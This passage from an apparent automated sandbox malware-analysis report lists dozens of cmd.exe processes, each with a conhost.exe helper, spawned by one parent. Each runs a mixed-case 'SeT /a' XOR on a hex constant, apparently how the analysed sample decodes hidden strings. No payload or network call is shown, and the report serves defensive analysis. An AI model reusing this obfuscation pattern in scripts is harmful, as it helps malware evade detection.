Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3360, Parent PID: 2660

General

Target ID:	13
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x78713865^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4056, Parent PID: 3360

General

Target ID:	14
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7080, Parent PID: 2660

General

Target ID:	15
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4B6D7569^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 1956, Parent PID: 7080

General

Target ID:	16
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 1860, Parent PID: 2660

General

Target ID:	17
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19307575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4964, Parent PID: 1860

General

Target ID:	18
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4156, Parent PID: 2660

General

Target ID:	19
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x41616575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6888, Parent PID: 4156

General

Target ID:	20
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7304, Parent PID: 2660

General

Target ID:	21
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09696575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7312, Parent PID: 7304

General

Target ID:	22
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7396, Parent PID: 2660

General

Target ID:	23
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0975752C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7404, Parent PID: 7396

General

Target ID:	24
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6784, Parent PID: 2660

General

Target ID:	25
Start time:	11:32:18
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19697965^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5044, Parent PID: 6784

General

Target ID:	26
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 748, Parent PID: 2660

General

Target ID:	27
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x49796569^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7876, Parent PID: 748

General

Target ID:	28
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6148, Parent PID: 2660

General

Target ID:	29
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19307571^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7472, Parent PID: 6148

General

Target ID:	30
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6448, Parent PID: 2660

General

Target ID:	31
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15793C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5928, Parent PID: 6448

General

Target ID:	32
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff759430000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6572, Parent PID: 2660

General

Target ID:	33
Start time:	11:32:19
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09216D75^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4852, Parent PID: 6572

General

Target ID:	34
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4308, Parent PID: 2660

General

Target ID:	35
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15793C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5048, Parent PID: 4308

General

Target ID:	36
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4888, Parent PID: 2660

General

Target ID:	37
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09703C6B^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3208, Parent PID: 4888

General

Target ID:	38
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2952, Parent PID: 2660

General

Target ID:	39
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4B6C7578^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5792, Parent PID: 2952

General

Target ID:	40
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2084, Parent PID: 2660

General

Target ID:	41
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x721C070B^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 2836, Parent PID: 2084

General

Target ID:	42
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6688, Parent PID: 2660

General

Target ID:	43
Start time:	11:32:20
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x7C156677^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 8188, Parent PID: 6688

General

Target ID:	44
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 8000, Parent PID: 2660

General

Target ID:	45
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0363032C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3008, Parent PID: 8000

General

Target ID:	46
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6164, Parent PID: 2660

General

Target ID:	47
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4B2D2024^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6408, Parent PID: 6164

General

Target ID:	48
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5788, Parent PID: 2660

General

Target ID:	49
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x55183929^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4964, Parent PID: 5788

General

Target ID:	50
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 408, Parent PID: 2660

General

Target ID:	51
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x563A7D2C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6888, Parent PID: 408

General

Target ID:	52
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7372, Parent PID: 2660

General

Target ID:	53
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09753C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7384, Parent PID: 7372

General

Target ID:	54
Start time:	11:32:21
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7288, Parent PID: 2660

General

Target ID:	55
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09216475^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7284, Parent PID: 7288

General

Target ID:	56
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4128, Parent PID: 2660

General

Target ID:	57
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09696575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5044, Parent PID: 4128

General

Target ID:	58
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5272, Parent PID: 2660

General

Target ID:	59
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15793C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7876, Parent PID: 5272

General

Target ID:	60
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4804, Parent PID: 2660

General

Target ID:	61
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09216675^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7472, Parent PID: 4804

General

Target ID:	62
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3380, Parent PID: 2660

General

Target ID:	63
Start time:	11:32:22
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09697965^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5928, Parent PID: 3380

General

Target ID:	64
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3976, Parent PID: 2660

General

Target ID:	65
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x5079653D^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4852, Parent PID: 3976

General

Target ID:	66
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2592, Parent PID: 2660

General

Target ID:	67
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0D697C35^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3280, Parent PID: 2592

General

Target ID:	68
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6172, Parent PID: 2660

General

Target ID:	69
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x172B6478^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5300, Parent PID: 6172

General

Target ID:	70
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7616, Parent PID: 2660

General

Target ID:	71
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x721C070B^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5740, Parent PID: 7616

General

Target ID:	72
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4728, Parent PID: 2660

General

Target ID:	73
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x7C156677^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 2836, Parent PID: 4728

General

Target ID:	74
Start time:	11:32:23
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 1272, Parent PID: 2660

General

Target ID:	75
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x03630620^962155845"
Imagebase:
File size:	236544 bytes
